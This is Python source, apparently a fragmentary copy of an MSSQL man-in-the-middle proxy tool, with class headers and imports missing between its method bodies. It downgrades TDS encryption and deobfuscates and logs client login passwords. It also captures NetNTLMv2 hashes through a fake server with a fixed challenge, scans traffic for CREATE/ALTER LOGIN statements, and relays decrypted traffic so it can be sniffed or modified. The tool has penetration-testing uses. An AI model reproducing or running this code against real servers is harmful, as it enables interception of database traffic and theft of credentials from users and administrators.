def __init__(self, data):

self.data = data

def setEncryptionOption(self,encryption):

encryption_offset=self.getEncryptionOptionOffset()

self.data = self.data[:TDS_HEADER_SIZE+encryption_offset] + encryption.to_bytes(1, byteorder='big') + self.data[TDS_HEADER_SIZE+encryption_offset+1:]

def getEncryptionOption(self):

return self.data[TDS_HEADER_SIZE+self.getEncryptionOptionOffset()]

def getEncryptionOptionOffset(self):

return self.getOptionOffset(TDS_PRELOGIN_OPTION_ENCRYPTION_TOKEN)

def getOptionOffset(self, option):

option_ptr=0

while True:

if self.data[TDS_HEADER_SIZE+option_ptr] == TDS_PRELOGIN_OPTION_TERMINATOR_TOKEN:

break

if self.data[TDS_HEADER_SIZE+option_ptr] == option:

break

option_ptr=option_ptr+TDS_PRELOGIN_OPTION_SIZE

#print("End of options")

option_value_offset = self.data[TDS_HEADER_SIZE+option_ptr+1]*255+self.data[TDS_HEADER_SIZE+option_ptr+2]

#print("offset:",option_value_offset)

structure = (

('Type','<B=0xED'), # TDS_SSPI_TOKEN

('Length','<H=8+len(Data)'),

('Data',':'),

def __init__(self):

self.buffer = None

self.client = None

self.before_prelogin = True

self.tls_enabled = False

self.key_pair = None

self.cert = None

self.client_encryption_req = None

self.challenge = b"12345678"

def connectionMade(self):

LOG.warning("incoming new connection")

self.ctx = SSL.Context(SSL.TLS_METHOD)

if Config.certFromFile:

LOG.info("client side: load TLS certificate and key (%s %s)", Config.certFile, Config.keyFile)

self.ctx.use_certificate_chain_file(Config.certFile)

self.ctx.use_privatekey_file(Config.keyFile)

else:

if Config.key_pair == None or Config.cert == None:

self.gen_cert()

self.ctx.use_privatekey(Config.key_pair)

self.ctx.use_certificate(Config.cert)

self.ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8'))

self.tls = SSL.Connection(self.ctx,None)

self.tls.set_accept_state()

factory = protocol.ClientFactory()

factory.server = self

if Config.loop:

factory.protocol = LoopClientProtocol

reactor.connectTCP(Config.clientLoopAddr, Config.clientLoopPort, factory)

elif Config.serverAddr == LOCAL_SERVER:

pass

else:

factory.protocol = MSSQLClientProtocol

reactor.connectTCP(Config.serverAddr, Config.serverPort, factory)

def gen_cert(self):

LOG.info("client side: generating temporary TLS certificate")

Config.key_pair = crypto.PKey()

Config.key_pair.generate_key(crypto.TYPE_RSA, 2048)

Config.cert = crypto.X509()

Config.cert.get_subject().O = 'Loki'

Config.cert.get_subject().CN = 'Sami'

Config.cert.get_subject().OU = 'Pure-L0G1C'

Config.cert.get_subject().C = 'US'

Config.cert.get_subject().L = 'Los Santos'

Config.cert.get_subject().ST = 'California'

Config.cert.set_serial_number(SystemRandom().randint(2048 ** 8, 4096 ** 8))

Config.cert.gmtime_adj_notBefore(0)

Config.cert.gmtime_adj_notAfter(256 * 409600)

Config.cert.set_issuer(Config.cert.get_subject())

Config.cert.set_pubkey(Config.key_pair)

Config.cert.sign(Config.key_pair, 'sha256')

def getLoginField(self, login, name):

return self.getLoginFieldB(login, name).decode('utf-16le', errors='ignore')

def getLoginFieldB(self, login, name):

return login.rawData[login.fields[name+'Offset']:login.fields[name+'Offset']+login.fields[name+'Length']*2]

def encryptPassword(self, password ):

return bytes(bytearray([((x & 0x0f) << 4) + ((x & 0xf0) >> 4) ^ 0xa5 for x in bytearray(password)]))

def decryptPassword(self, password ):

return bytes(bytearray([( ((x ^ 0xa5) & 0x0f) << 4) + (((x ^ 0xa5 )& 0xf0) >> 4) for x in bytearray(password)]))

def parseLogin(self, login):

LOG.debug("Login data: %s",vars(login))

LOG.warning("")

LOG.warning("Login data")

LOG.warning("AppName: %s",self.getLoginField(login,"AppName"))

LOG.warning("UserName: %s%s%s",RED,self.getLoginField(login,"UserName"),END)

LOG.warning("ServerName: %s",self.getLoginField(login,"ServerName"))

LOG.warning("CltIntName: %s",self.getLoginField(login,"CltIntName"))

LOG.warning("Database: %s",self.getLoginField(login,"Database"))

LOG.warning("Password: %s%s%s",RED,self.decryptPassword(self.getLoginFieldB(login,"Password")).decode('utf-8'),END)

LOG.warning("")

def findSQLString(self,data,sql):

start = data.lower().find(sql.encode('utf-16le').lower())

if start > -1:

len = data[start:].find(b"\x00\x00\x00\x00")

if len > -1:

LOG.warning("string: %s%s%s",RED,data[start:start+len].decode('utf-16le', errors='ignore'),END)

else:

LOG.warning("string: %s%s%s",RED,data[start:].decode('utf-16le', errors='ignore'),END)

def findSQLPasswords(self,data):

self.findSQLString(data,"CREATE USER")

self.findSQLString(data,"CREATE LOGIN")

self.findSQLString(data,"ALTER LOGIN")

def checkPacketforStrings(self,data):

self.findSQLPasswords(data)

for query in Config.findQuery or []:

self.findSQLString(data,query)

def checkPacketforRegexp(self,data):

for query in Config.findQueryRe or []:

self.findSQLRegexp(data,query)

def findSQLRegexp(self, data, regexp):

x = re.findall(regexp,data.decode('utf-16le', errors='ignore'))

if x:

LOG.warning("regexp: %s%s%s",RED,x[0],END)

def ParseSQLHash(self, data, Challenge):

SSPIStart = data[8:]

LMhashLen = struct.unpack('<H',data[20:22])[0]

LMhashOffset = struct.unpack('<H',data[24:26])[0]

LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen]

LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')

NthashLen = struct.unpack('<H',data[30:32])[0]

NthashOffset = struct.unpack('<H',data[32:34])[0]

NTHash = SSPIStart[NthashOffset:NthashOffset+NthashLen]

NTHash = codecs.encode(NTHash, 'hex').upper().decode('latin-1')

DomainLen = struct.unpack('<H',data[36:38])[0]

DomainOffset = struct.unpack('<H',data[40:42])[0]

Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')

UserLen = struct.unpack('<H',data[44:46])[0]

UserOffset = struct.unpack('<H',data[48:50])[0]

User = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')

WriteHash = ""

if NthashLen == 24:

WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, codecs.encode(Challenge,'hex').decode('latin-1'))

if NthashLen > 60:

WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), NTHash[:32], NTHash[32:])

LOG.warning("NetNTLMv2: %s",WriteHash)

# Client => Proxy

def dataReceived(self, data):

if self.tls_enabled:

# print("Client says before SSL :", "".join("{:02x}".format(c) for c in data[8:]))

if self.tls.get_finished() == None:

self.tls.bio_write(data[8:])

try:

self.tls.do_handshake()

except SSL.WantReadError:

pass

data2 = self.tls.bio_read(TLS_PACKET_SIZE)

handshake_resp = tds.TDSPacket()

handshake_resp['Type'] = tds.TDS_PRE_LOGIN

handshake_resp['Data'] = data2

self.transport.write(handshake_resp.getData())

return

else:

self.tls.bio_write(data)

data=b''

while True:

try:

data=data+self.tls.read(TLS_PACKET_SIZE)

except SSL.WantReadError:

break

packet = tds.TDSPacket(data)

LOG.debug("TDS packet: %s",vars(packet))

if packet.fields['Type'] == tds.TDS_LOGIN7:

login = tds.TDS_LOGIN(packet.fields['Data'])

self.parseLogin(login)

if packet.fields['Type'] == tds.TDS_SSPI:

LOG.debug("TDS SSPI NTLM login!")

authenticateMessage = ntlm.NTLMAuthChallengeResponse()

authenticateMessage.fromString(packet.fields['Data'])

LOG.debug("TDS SSPI packet: %s",vars(authenticateMessage))

self.ParseSQLHash(packet.rawData,self.challenge)

if packet.fields['Type'] == tds.TDS_PRE_LOGIN and self.before_prelogin:

LOG.debug("client side: FOUND client prelogin")

self.before_prelogin = False

prelogin = TDSPreLogin(data)

self.client_encryption_req = prelogin.getEncryptionOption()

if not Config.serverRequiresEncryption:

prelogin.setEncryptionOption(tds.TDS_ENCRYPT_NOT_SUP)

data=prelogin.data

else:

prelogin.setEncryptionOption(tds.TDS_ENCRYPT_REQ)

data=prelogin.data

self.checkPacketforStrings(data)

self.checkPacketforRegexp(data)

if Config.serverAddr == LOCAL_SERVER:

self.fakeServer(data)

return

if self.client:

self.client.write(data)

else:

self.buffer = data

def fakeServer(self, data):

packet = tds.TDSPacket(data)

LOG.debug("fake TDS packet recv: %s",vars(packet))

if packet.fields['Type'] == tds.TDS_PRE_LOGIN:

if (1==1):

LOG.info("fake TDS packet - generating TDS_PRE_LOGIN")

prelogin = tds.TDS_PRELOGIN()

prelogin['Version'] = b"\x0f\x00\x08\x38\x00\x00"

prelogin['Encryption'] = tds.TDS_ENCRYPT_NOT_SUP

prelogin['ThreadID'] = tds.struct.pack('<L',randint(0,65535))

prelogin['Instance'] = b'\x00'

tds_response = tds.TDSPacket()

tds_response['Type'] = TDS_RESPONSE

tds_response['Status'] = tds.TDS_STATUS_EOM

tds_response['PacketID'] = 2

tds_response['Data'] = prelogin.getData()

data=tds_response.getData()

else:

#does not work for some clients - left for experiments

LOG.info("fake TDS packet - rewriting TDS_PRE_LOGIN")

packet.fields['Type']=TDS_RESPONSE

data=packet.getData()

if packet.fields['Type'] == tds.TDS_LOGIN7:

# fake SQL Server response

login = tds.TDS_LOGIN(packet.fields['Data'])

if login['SSPILength'] > 0:

token = login['SSPI']

computerName = "XL2.xl.local"

domainName = "xl.local"

messageType = struct.unpack('<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

if messageType == 0x01:

# NEGOTIATE_MESSAGE

negotiateMessage = ntlm.NTLMAuthNegotiate()

negotiateMessage.fromString(token)

ansFlags = 0

if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56:

ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56

if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128:

ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128

if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:

ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH

if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:

ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY

if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE

if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM:

ansFlags |= ntlm.NTLM_NEGOTIATE_OEM

ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_REQUEST_TARGET

# Generate the AV_PAIRS

av_pairs = ntlm.AV_PAIRS()

#TODO: Put the proper data from SMBSERVER config

av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] = av_pairs[

ntlm.NTLMSSP_AV_DNS_HOSTNAME] = computerName.encode('utf-16le')

av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] = av_pairs[

ntlm.NTLMSSP_AV_DNS_DOMAINNAME] = domainName.encode('utf-16le')

av_pairs[ntlm.NTLMSSP_AV_TIME] = struct.pack('<q', (

116444736000000000 + calendar.timegm(time.gmtime()) * 10000000))

challengeMessage = ntlm.NTLMAuthChallenge()

challengeMessage['flags'] = ansFlags

challengeMessage['domain_len'] = len(domainName.encode('utf-16le'))

challengeMessage['domain_max_len'] = challengeMessage['domain_len']

challengeMessage['domain_offset'] = 40 + 16

challengeMessage['challenge'] = self.challenge

challengeMessage['domain_name'] = domainName.encode('utf-16le')

challengeMessage['TargetInfoFields_len'] = len(av_pairs)

challengeMessage['TargetInfoFields_max_len'] = len(av_pairs)

challengeMessage['TargetInfoFields'] = av_pairs

challengeMessage['TargetInfoFields_offset'] = 40 + 16 + len(challengeMessage['domain_name'])

challengeMessage['Version'] = b'\xff' * 8

challengeMessage['VersionLen'] = 8

token = TDS_SSPI_Token()

#token['Type'] = tds.TDS_SSPI_TOKEN

token['Data'] = challengeMessage.getData()

resp = tds.TDSPacket()

resp['Type'] = tds.TDS_TABULAR

# TDS_SSPI_TOKEN + 2 bytes len

resp['Data'] = token.getData()

data = resp.getData()

#LOG.debug("ntlm_neg packet: %s",vars(negotiateMessage))

else:

data = b"\x04\x01\x01\xa5\x00D\x01\x00\xe3\x1b\x00\x01\x06m\x00a\x00s\x00t\x00e\x00r\x00\x06m\x00a\x00s\x00t\x00e\x00r\x00\xab^\x00E\x16\x00\x00\x02\x00%\x00C\x00h\x00a\x00n\x00g\x00e\x00d\x00 \x00d\x00a\x00t\x00a\x00b\x00a\x00s\x00e\x00 \x00c\x00o\x00n\x00t\x00e\x00x\x00t\x00 \x00t\x00o\x00 \x00'\x00m\x00a\x00s\x00t\x00e\x00r\x00'\x00.\x00\x03X\x00L\x002\x00\x00\x01\x00\x00\x00\xe3\x08\x00\x07\x05\x15\x04\xd0\x00\x00\x00\xe3\x0f\x00\x02\x06p\x00o\x00l\x00s\x00k\x00i\x00\x00\xab`\x00G\x16\x00\x00\x01\x00&\x00Z\x00m\x00i\x00e\x00n\x00i\x00o\x00n\x00o\x00 \x00u\x00s\x00t\x00a\x00w\x00i\x00e\x00n\x00i\x00a\x00 \x00j\x00\x19\x01z\x00y\x00k\x00a\x00 \x00n\x00a\x00 \x00p\x00o\x00l\x00s\x00k\x00i\x00.\x00\x03X\x00L\x002\x00\x00\x01\x00\x00\x00\xad6\x00\x01t\x00\x00\x04\x16M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00 \x00S\x00Q\x00L\x00 \x00S\x00e\x00r\x00v\x00e\x00r\x00\x00\x00\x00\x00\x0f\x00\x085\xe3\x13\x00\x04\x044\x000\x009\x006\x00\x044\x000\x009\x006\x00\xae\x01.\x00\x00\x00\x00\x09\x00`\x81\x14\xff\xe7\xff\xff\x00\x02\x02\x01\x02\x04\x01\x00\x05\x04\xff\xff\xff\xff\x06\x01\x00\x07\x01\x02\x08\x08\x00\x00\x00\x00\x00\x00\x00\x00\x09\x04\xff\xff\xff\xff\x09\x02\x00\x00\x00\x02\x01\x0a\x01\x00\x00\x00\x01\xff\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

if packet.fields['Type'] == tds.TDS_SQL_BATCH:

# fake empty one row one column response

data= b"\x04\x01\x00#\x00D\x01\x00\x81\x01\x00\x00\x00\x00\x00 \x004\x00\xd1D\x00\xfd\x10\x00\xc1\x00\x01\x00\x00\x00\x00\x00\x00\x00"

LOG.debug("fake TDS packet send: %s",data)

self.write(data)

# Proxy => Client

def write(self, data):

packet = tds.TDSPacket(data)

if packet.fields['Type'] == TDS_RESPONSE and packet.fields['Data'][0] == tds.TDS_SSPI_TOKEN:

LOG.debug("TDS Response NTLMSSP_CHALLENGE packet recv")

token = TDS_SSPI_Token(packet.fields['Data'])

challengeMessage = ntlm.NTLMAuthChallenge()

challengeMessage.fromString(token.fields['Data'])

LOG.debug("TDS Response NTLMSSP_CHALLENGE packet recv: %s",vars(challengeMessage))

self.challenge = challengeMessage['challenge']

LOG.debug("TDS Response NTLMSSP_CHALLENGE: %s",challengeMessage['challenge'])

if self.tls_enabled:

while True:

try:

self.tls.sendall(data[:packet.fields['Length']])

LOG.debug("rewriting to client side: %s",data[:packet.fields['Length']])

except SSL.WantReadError:

pass

try:

self.transport.write(self.tls.bio_read(TLS_PACKET_SIZE))

except SSL.WantReadError:

pass

if len(data) == packet.fields['Length']:

break

data=data[packet.fields['Length']:]

packet = tds.TDSPacket(data)

return

else:

LOG.debug("TDS Response packet recv: %s",vars(packet))

if packet.fields['Type'] == TDS_RESPONSE and packet.fields['Data'][0] == 0:

LOG.debug("TDS Response Prelogin packet recv")

preloginResponse = TDSPreLogin(data)

if self.client_encryption_req == tds.TDS_ENCRYPT_ON or self.client_encryption_req == tds.TDS_ENCRYPT_REQ:

preloginResponse.setEncryptionOption(tds.TDS_ENCRYPT_ON)

data = preloginResponse.data

LOG.info("client side: enabling TLS ")

self.tls_enabled = True

if self.client_encryption_req == tds.TDS_ENCRYPT_OFF or self.client_encryption_req == tds.TDS_ENCRYPT_NOT_SUP:

preloginResponse.setEncryptionOption(tds.TDS_ENCRYPT_NOT_SUP)

data = preloginResponse.data

def __init__(self):

self.ctx = SSL.Context(SSL.TLS_METHOD)

self.ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8'))

self.tls = SSL.Connection(self.ctx,None)

self.tls.set_connect_state()

self.tls_enabled = False

self.tls_finished = False

self.tdsLoginCache = None

def connectionMade(self):

self.factory.server.client = self

self.write(self.factory.server.buffer)

self.factory.server.buffer = ''

# Server => Proxy

def dataReceived(self, data):

if self.tls_enabled:

if self.tls_finished == False:

LOG.debug("server side: TLS handshake receive")

self.tls.bio_write(data[8:])

try:

self.tls.do_handshake()

except SSL.WantReadError:

LOG.debug("server side: TLS continue sending handshake")

data2 = self.tls.bio_read(TLS_PACKET_SIZE)

handshake_req = tds.TDSPacket()

handshake_req['Type'] = tds.TDS_PRE_LOGIN

handshake_req['Data'] = data2

self.transport.write(handshake_req.getData())

return

self.tls_finished = True

LOG.debug("server side: TLS handshake finished")

if self.tdsLoginCache != None:

LOG.debug("sending cached TDSLogin from client to server")

self.write(self.tdsLoginCache)

return

else:

self.tls.bio_write(data)

data=b''

while True:

try:

data=data+self.tls.read(TLS_PACKET_SIZE)

except SSL.WantReadError:

break

packet = tds.TDSPacket(data)

if packet.fields['Type'] == TDS_RESPONSE and packet.fields['Data'][0] == 0:

preloginResponse = TDSPreLogin(data)

if (preloginResponse.getEncryptionOption() == tds.TDS_ENCRYPT_ON or preloginResponse.getEncryptionOption() == tds.TDS_ENCRYPT_REQ) and Config.serverRequiresEncryption:

LOG.info("server side: TLS required - enabling")

self.tls_enabled = True

try:

self.tls.do_handshake()

except SSL.WantReadError:

pass

data2 = self.tls.bio_read(TLS_PACKET_SIZE)

handshake_req = tds.TDSPacket()

handshake_req['Type'] = tds.TDS_PRE_LOGIN

handshake_req['Data'] = data2

LOG.debug("server side: sending TLS hello: %s",handshake_req.getData())

self.transport.write(handshake_req.getData())

self.factory.server.write(data)

# Proxy => Server

def write(self, data):

if data:

if self.tls_enabled:

if self.tls_finished == False:

LOG.debug("server side: TLS handshake in progess - caching TDSLogin")

self.tdsLoginCache = data

return

else:

packet = tds.TDSPacket(data)

while True:

try:

self.tls.sendall(data[:packet.fields['Length']])

LOG.debug("rewriting to server side: %s",data[:packet.fields['Length']])

except SSL.WantReadError:

pass

try:

self.transport.write(self.tls.bio_read(TLS_PACKET_SIZE))

except SSL.WantReadError:

pass

if len(data) == packet.fields['Length']:

break

data=data[packet.fields['Length']:]

packet = tds.TDSPacket(data)

return

else:

LOG.debug("rewriting to server side: %s",data)

def __init__(self):

self.buffer = None

self.client = None

def connectionMade(self):

factory = protocol.ClientFactory()

factory.protocol = MSSQLClientProtocol

factory.server = self

reactor.connectTCP(Config.serverAddr, Config.serverPort, factory)

def dataReceived(self, data):

if self.client:

self.client.write(data)

else:

self.buffer = data

def write(self, data):

def connectionMade(self):

self.factory.server.client = self

self.write(self.factory.server.buffer)

self.factory.server.buffer = ''

def dataReceived(self, data):

self.factory.server.write(data)

def write(self, data):

if data:

loop = True

listenPort = 1433

serverPort = 1433

serverAddr = None

serverLoopAddr = "127.0.0.1"

serverLoopPort = 2433

clientLoopPort = 2433

clientLoopAddr = "127.0.0.1"

debugLevel = logging.WARNING

certFile = None

keyFile = None

certFromFile = False

key_pair = None

cert = None

serverRequiresEncryption = False

findQuery = None

findQueryRe = None

def format(self, record):

res = super(CustomFormatter, self).format(record)

# remove colors

ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])')

res = ansi_escape.sub('', res)

# remove windows encoding in passwords

res = ''.join(c for c in res if c.isprintable())

if Config.debugLevel >= logging.ERROR:

return

# https://patorjk.com/software/taag/#p=testall&f=JS%20Bracket%20Letters&t=MITMSQLproxy

banner = f"""

parser = argparse.ArgumentParser(add_help = True, description = "MSSQL MITM proxy (SSL supported).")

parser.add_argument('target', action='store', help='MSSQL server name or address (use "null" for MSSQL server emulation - connection will be dropped after obtaining credentials)')

parser.add_argument('-port', action='store', default='1433', help='MSSQL server port (default 1433)')

parser.add_argument('-lport', action='store', default='1433', help='local listening port (default 1433)')

parser.add_argument('--log', action='store', default=None, help='log file', metavar="my.log")

group = parser.add_argument_group("Searches in raw packet for a string/regexp (does NOT: parse TDS packet or search only in query, if fragmented shows only the chunk containing string/regexp), can be used multiple times in command line")

group.add_argument('-f', metavar = "string_to_find", action='append', help='case insensitive')

group.add_argument('-r', metavar = "regexp_to_find", action='append', help='e.g. -r \'(?i)SELECT.*MyTable[\\x00-\\x7F]*\'')

group = parser.add_mutually_exclusive_group()

group.add_argument('-q', action='store_true', help='quiet mode')

group.add_argument('-d', action='store_true', help='show more info')

group.add_argument('-dd', action='store_true', help='show debug info')

group = parser.add_argument_group('Internal connection loop - decrypted data is sent to certain port (default 127.0.0.1:2433) and coming back to mitmslqproxy to be encrypted and send further. This option allows to sniff or even modify unencrypted SQL traffic in the fly with third party application')

group.add_argument('-ll', action='store', help='loop listening address (default 127.0.0.1)', metavar = "ip_address", default='127.0.0.1')

group.add_argument('-llp', action='store', help='loop listening address port (default 2433)', metavar = "port", default='2433')

group.add_argument('-lc', action='store', help='loop connecting address (default 127.0.0.1)',metavar = "ip_address", default='127.0.0.1')

group.add_argument('-lcp', action='store', help='loop connecting address port (default 2433)',metavar = "port", default='2433')

group.add_argument('--disable-loop', action='store_true', help='disable internal loop - if both sides will negotiate encryption sniffing will be useless, only credentials will be shown on console (raw data only in debug mode)', dest="disableloop")

group = parser.add_argument_group('TLS custom private key and certificate (by default it is dynamically generated)')

group.add_argument('--cert', action='store', help='certificate file', metavar = "my.crt", default=None)

group.add_argument('--key' , action='store', help='private key file', metavar = "my.key", default=None)

if len(sys.argv)==1:

parser.print_help()

sys.exit(1)

options = parser.parse_args()

if options.disableloop is True:

Config.loop =False

Config.listenPort=int(options.lport)

Config.serverPort=int(options.port)

Config.serverAddr=options.target

Config.serverLoopAddr=options.ll

Config.serverLoopPort=int(options.llp)

Config.clientLoopAddr=options.lc

Config.clientLoopPort=int(options.lcp)

Config.findQuery=options.f

Config.findQueryRe=options.r

Config.logFile=options.log

if options.key and options.cert:

Config.certFromFile = True

Config.certFile=options.cert

Config.keyFile=options.key

if options.q:

Config.debugLevel = logging.ERROR

if options.d:

Config.debugLevel = logging.INFO

if options.dd:

Config.debugLevel = logging.DEBUG

#LOG.critical("critical")

#LOG.error("error") # quiet

#LOG.warning("warning") # normal

#LOG.info("info") # detailed

try:

ms_sql = tds.MSSQL(Config.serverAddr, Config.serverPort)

ms_sql.connect()

resp=ms_sql.preLogin()

if resp['Encryption'] == tds.TDS_ENCRYPT_REQ:

LOG.info("Server requires encryption!")

Config.serverRequiresEncryption=True

else:

LOG.info("Server DOES NOT require encryption!")

ms_sql.disconnect()

except socket.error as msg:

LOG.error("Test connection to the SQL server error: %s",msg)

getArgs()

logger.init()

logging.getLogger().setLevel(Config.debugLevel)

logging.debug(version.getInstallationPath())

if Config.logFile:

handler = logging.FileHandler(Config.logFile, "a")

formatter = logging.Formatter('%(asctime)s %(message)s')

handler.setFormatter(CustomFormatter(formatter._fmt))

LOG.addHandler(handler)

show_banner()

if Config.serverAddr == LOCAL_SERVER:

Config.loop =False

else:

getServerEncryption()

if Config.loop:

LOG.warning("Starting loop decrypted connection for proxy or sniffer on loopback interface\n[ client->0.0.0:%s-(decryption)->%s:%s->%s:%s-(%s)->%s:%s ]",Config.listenPort,Config.clientLoopAddr,Config.clientLoopPort,Config.serverLoopAddr,Config.serverLoopPort,("encryption" if Config.serverRequiresEncryption else f"{CROSSED}encryption{NOT_CROSSED}-downgreaded"),Config.serverAddr,Config.serverPort)

startLoop()

startListener()

LOG.warning("Waiting for connections on port %s...",Config.listenPort)